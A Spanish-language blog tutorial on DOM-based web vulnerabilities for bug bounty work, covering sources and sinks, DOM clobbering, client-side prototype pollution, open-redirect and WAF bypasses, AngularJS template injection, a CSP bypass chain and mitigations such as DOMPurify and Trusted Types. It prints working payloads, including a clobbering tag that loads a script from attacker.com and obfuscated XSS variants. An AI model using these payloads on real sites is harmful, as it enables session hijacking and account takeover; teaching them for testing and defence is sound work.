June 24, 2026
Vulnerabilidades Basadas en el DOM: Guía Técnica de Explotación y Mitigación
Aprende a identificar, explotar y mitigar vulnerabilidades DOM (XSS, CSPP y DOM Clobbering) con metodologías avanzadas de Bug Bounty.

By JPablo13
5 min read
¿Qué es el DOM?
Las vulnerabilidades basadas en el DOM (Document Object Model) ocurren cuando el código JavaScript del lado del cliente procesa datos controlables por el usuario (Fuentes/Sources) y los pasa a una función peligrosa del navegador (Sumideros/Sinks) sin la validación o codificación adecuada.
A diferencia del XSS clásico, el servidor web no procesa ni visualiza la carga útil en la petición HTTP (por ejemplo, fragmentos de URL tras el carácter #). Toda la mutación y ejecución ocurre de forma local y dinámica en el motor JavaScript de la víctima.
Business Impact
El impacto de negocio se clasifica según el sumidero comprometido y el contexto operacional de la aplicación:
|Vulnerabilidad |Criticidad |Impacto Técnico y de Negocio |
|-----------------------------------------|------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|DOM XSS |Crítico |Secuestro de sesiones (Session Hijacking), toma de control de cuentas (Account Takeover), exfiltración de PII (Información Personal Identificable) en tiempo real, y falsificación de acciones del usuario (Client-Side Request Forgery). |
|DOM Open Redirect |Medio / Alto|Phishing altamente creíble utilizando el dominio legítimo de la empresa. En arquitecturas modernas, es el vector principal para el robo de Authorization Codes o Access Tokens en implementaciones fallidas de OAuth 2.0. |
|Manipulación de Mensajes Web(postMessage)|Alto |Ruptura de la política de mismo origen (Same-Origin Policy). Permite el robo de datos entre pestañas/iframes y suele escalar directamente a DOM XSS global. ||Vulnerabilidad |Criticidad |Impacto Técnico y de Negocio |
|-----------------------------------------|------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|DOM XSS |Crítico |Secuestro de sesiones (Session Hijacking), toma de control de cuentas (Account Takeover), exfiltración de PII (Información Personal Identificable) en tiempo real, y falsificación de acciones del usuario (Client-Side Request Forgery). |
|DOM Open Redirect |Medio / Alto|Phishing altamente creíble utilizando el dominio legítimo de la empresa. En arquitecturas modernas, es el vector principal para el robo de Authorization Codes o Access Tokens en implementaciones fallidas de OAuth 2.0. |
|Manipulación de Mensajes Web(postMessage)|Alto |Ruptura de la política de mismo origen (Same-Origin Policy). Permite el robo de datos entre pestañas/iframes y suele escalar directamente a DOM XSS global. |Estructura del Ataque: Taint-Flow (Flujo de Datos)
Para explotar con éxito una vulnerabilidad del DOM, se debe trazar un camino limpio desde una Source hasta un Sink vulnerable.
Fuentes Comunes (Sources)
Puntos de entrada accesibles por un atacante. Propiedades del navegador que pueden contener datos maliciosos:
// Direcciones y Parámetros
document.URL | document.documentURI | document.URLUnencoded | document.baseURI
location | location.search | location.hash | location.pathname
// Persistencia y Almacenamiento
document.cookie | window.name | localStorage | sessionStorage
// Historial y Referencias
document.referrer | history.pushState | history.replaceState
// Bases de datos indexadas en cliente
IndexedDB | Database// Direcciones y Parámetros
document.URL | document.documentURI | document.URLUnencoded | document.baseURI
location | location.search | location.hash | location.pathname
// Persistencia y Almacenamiento
document.cookie | window.name | localStorage | sessionStorage
// Historial y Referencias
document.referrer | history.pushState | history.replaceState
// Bases de datos indexadas en cliente
IndexedDB | DatabaseTipos de Datos y Flujos Cruzados
- Datos Reflejados/Almacenados en el DOM: Cuando un valor controlado por el usuario pasa por el servidor (se almacena o se refleja en el HTML inicial) y posteriormente un script del cliente lo extrae de forma insegura (ej. leer un input oculto mediante
innerHTML). - Mensajes Web de Origen Cruzado: Datos recibidos a través de un oyente de eventos (
window.addEventListener('message', ...)). Si no se valida estrictamente el atributoevent.origin, cualquier sitio web externo puede enviar datos maliciosos.
Sumideros Críticos (Sinks) y Proof of Concept}
Técnicas de Explotación Avanzadas
A. DOM Clobbering (Inyección de Atributos)
Permite romper la lógica de una aplicación inyectando elementos HTML cuyos atributos id o name colisionan con variables globales de JavaScript o propiedades de objetos.
Código Vulnerable:
// La aplicación asume que si window.config.apiBase no existe, usa el fallback local
let apiURL = window.config?.apiBase || "/api/v1/user";
let script = document.createElement("script");
script.src = apiURL + "/profile.js";
document.body.appendChild(script);// La aplicación asume que si window.config.apiBase no existe, usa el fallback local
let apiURL = window.config?.apiBase || "/api/v1/user";
let script = document.createElement("script");
script.src = apiURL + "/profile.js";
document.body.appendChild(script);Explotación: Inyectando código HTML a través de un sumidero secundario neutro (ej. un comentario o editor de texto enriquecido):
<a id="config" name="apiBase" href="https://attacker.com/malicious.js"></a><a id="config" name="apiBase" href="https://attacker.com/malicious.js"></a>Mecánica: El navegador mapea el elemento <a id="config"> como window.config. Al acceder a window.config.apiBase, JavaScript devuelve el valor del atributo href de la etiqueta <a>, forzando la carga de un script externo.
B. Client-Side Prototype Pollution (CSPP)
Ocurre cuando la aplicación procesa de manera insegura un objeto (por lo general a través de la deserialización de parámetros URL o JSON) permitiendo inyectar propiedades en Object.prototype.
Código Vulnerable:
// Función típica de utilidad para parsear queries de URL de forma recursiva
function deparam(queryString) {
let obj = {};
queryString.split('&').forEach(pair => {
let [key, val] = pair.split('=');
let parts = key.split('.'); // Soporte para objetos anidados: obj.user.name
// ... lógica de asignación recursiva sin validar __proto__
obj[parts[0]][parts[1]] = val;
});
return obj;
}// Función típica de utilidad para parsear queries de URL de forma recursiva
function deparam(queryString) {
let obj = {};
queryString.split('&').forEach(pair => {
let [key, val] = pair.split('=');
let parts = key.split('.'); // Soporte para objetos anidados: obj.user.name
// ... lógica de asignación recursiva sin validar __proto__
obj[parts[0]][parts[1]] = val;
});
return obj;
}Explotación: Si la aplicación tiene un sumidero posterior latente (un script que lee una propiedad que normalmente no existe), podemos contaminar el prototipo:
URL Payload: ?__proto__.sourceURL=javascript:alert(1)URL Payload: ?__proto__.sourceURL=javascript:alert(1)Si cualquier script posterior hace lo siguiente:
let transport = currentConfig.sourceURL || "/js/default.js";let transport = currentConfig.sourceURL || "/js/default.js";Como currentConfig.sourceURL no existe en el objeto local, lo heredará de Object.prototype.sourceURL, inyectando el payload.
Metodología de Reconocimiento y Descubrimiento Específico
Mapeo Automatizado de Superficie:
- Utilizar DOM Invader (integrado en el navegador de Burp Suite Enterprise/Professional). Configurar canaries interactivos con intercepciones automáticas de
postMessage.
Análisis Estático Orientado a Flujo (Backward Tracing):
- Extraer y formatear todos los archivos estáticos de producción (
.js). - Utilizar Semgrep con reglas comunitarias de seguridad para buscar sinks.
- Regex Rápido para Sinks comunes:
\.(innerHTML|outerHTML|write|src|href)\s*=o(eval|setTimeout|setInterval)\(
Monitoreo Dinámico de Eventos en Consola:
- Ejecutar en la consola de desarrollador para interceptar mensajes web mal configurados:
window.addEventListener("message", function(e) { console.log("Origen:", e.origin, "Datos:", e.data); }, true);window.addEventListener("message", function(e) { console.log("Origen:", e.origin, "Datos:", e.data); }, true);Bypass de WAFs y Defensas Modernas (Mutación)
A. Evasión de Firmas de Ejecución Comunes (alert, eval)
Los WAFs inspeccionan cadenas literales como alert(. Podemos evadir esto usando constructores dinámicos u objetos del sistema:
- Uso de funciones alternativas menos firmadas:
print()
prompt`1`
confirm(document.domain)print()
prompt`1`
confirm(document.domain)- Ofuscación por desestructuración u objetos nativos:
// Acceso directo vía ventana utilizando strings codificados
window['al'+'ert'](1)
// Uso del constructor de funciones anónimas (Equivalente a eval)
[].constructor.constructor("pro"+"mpt(1)")()// Acceso directo vía ventana utilizando strings codificados
window['al'+'ert'](1)
// Uso del constructor de funciones anónimas (Equivalente a eval)
[].constructor.constructor("pro"+"mpt(1)")()B. Evasión de Filtros de Redirección (Regex de Dominios)
Si el script valida que la URL apunte al dominio legítimo mediante expresiones regulares débiles:
- Abuso de credenciales de usuario en URL:
https://victim.com@attacker.com/(El navegador redirige aattacker.com). - Bypass de punto final (Falso subdominio):
https://victim.com.attacker.com/ - Uso de URLs relativas al protocolo:
//attacker.com(Evade filtros que buscan estrictamentehttpohttps). - Uso de caracteres de control / Backslashes:
https://victim.com\/@attacker.comohttps:attacker.com(Sintaxis válida en ciertos navegadores).
C. Client-Side Template Injection (CSTI) en Frameworks Modernos
Si la entrada del usuario se inyecta directamente en el DOM gestionado por un framework (como aplicaciones legadas en AngularJS o configuraciones incorrectas de Vue.js), se pueden ejecutar payloads evadiendo filtros de strings convencionales:
// Payload para AngularJS (Evade sandbox antiguos y WAFs al no usar variables directas)
{{constructor.constructor('pro\x6dpt(1)')()}}// Payload para AngularJS (Evade sandbox antiguos y WAFs al no usar variables directas)
{{constructor.constructor('pro\x6dpt(1)')()}}Vulnerability Chaining (Encadenamiento de Ataques)
Caso de Éxito: Saltarse una CSP estricta mediante DOM Clobbering
Imagina un entorno corporativo con una política de seguridad de contenido (CSP) robusta que solo permite la ejecución de scripts provenientes de dominios de confianza: Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
El Escenario:
- Encontramos una inyección HTML en un parámetro de la página, pero no podemos inyectar
<script>nionerror=alert(1)porque la CSP bloquea scripts inline. - El código fuente de la página carga un script legítimo de analíticas de la siguiente forma:
let callback = window.analyticsConfig?.loadCallback || "/js/empty.js";
let s = document.createElement("script");
s.src = "https://trusted-cdn.com/js/lib.js?cb=" + encodeURIComponent(callback);
document.body.appendChild(s);let callback = window.analyticsConfig?.loadCallback || "/js/empty.js";
let s = document.createElement("script");
s.src = "https://trusted-cdn.com/js/lib.js?cb=" + encodeURIComponent(callback);
document.body.appendChild(s);- El Ataque: Inyectamos un DOM Clobbering para forzar a
window.analyticsConfig.loadCallbacka devolver un fragmento controlado por nosotros, apuntando a un endpoint legítimo dentro del CDN que permita parámetros maliciosos o un JSONP peligroso:
<a id="analyticsConfig" name="loadCallback" href="foo&callback=print"></a><a id="analyticsConfig" name="loadCallback" href="foo&callback=print"></a>- El script generará la siguiente URL:
https://trusted-cdn.com/js/lib.js?cb=foo&callback=print. Al ejecutarse dentro del dominio permitido por la CSP (trusted-cdn.com), el navegador lo procesa de manera legítima, ejecutando nuestro código inyectado y logrando un Bypass Completo de CSP.
Mitigación y Defensas Modernas
Uso de Sumideros Seguros por Defecto:
- En lugar de usar
element.innerHTML, migrar obligatoriamente aelement.textContentoelement.innerText. Esto asegura que cualquier etiqueta HTML sea tratada puramente como texto.
Sanitización Robusta basada en Contexto:
- Si es imperativo inyectar fragmentos HTML dinámicos, procesar los datos utilizando la librería estándar de la industria: DOMPurify.
element.innerHTML = DOMPurify.sanitize(userInput);element.innerHTML = DOMPurify.sanitize(userInput);Implementación Estricta de Trusted Types:
- Configurar el navegador para bloquear asignaciones directas de tipos primitivos (strings) a sumideros inyectando la cabecera HTTP:
Content-Security-Policy: require-trusted-types-for 'script';Content-Security-Policy: require-trusted-types-for 'script';Conéctate conmigo
Support Me ☕
Si esto te ha resultado útil, te agradecería que me siguieras y apoyaras este contenido.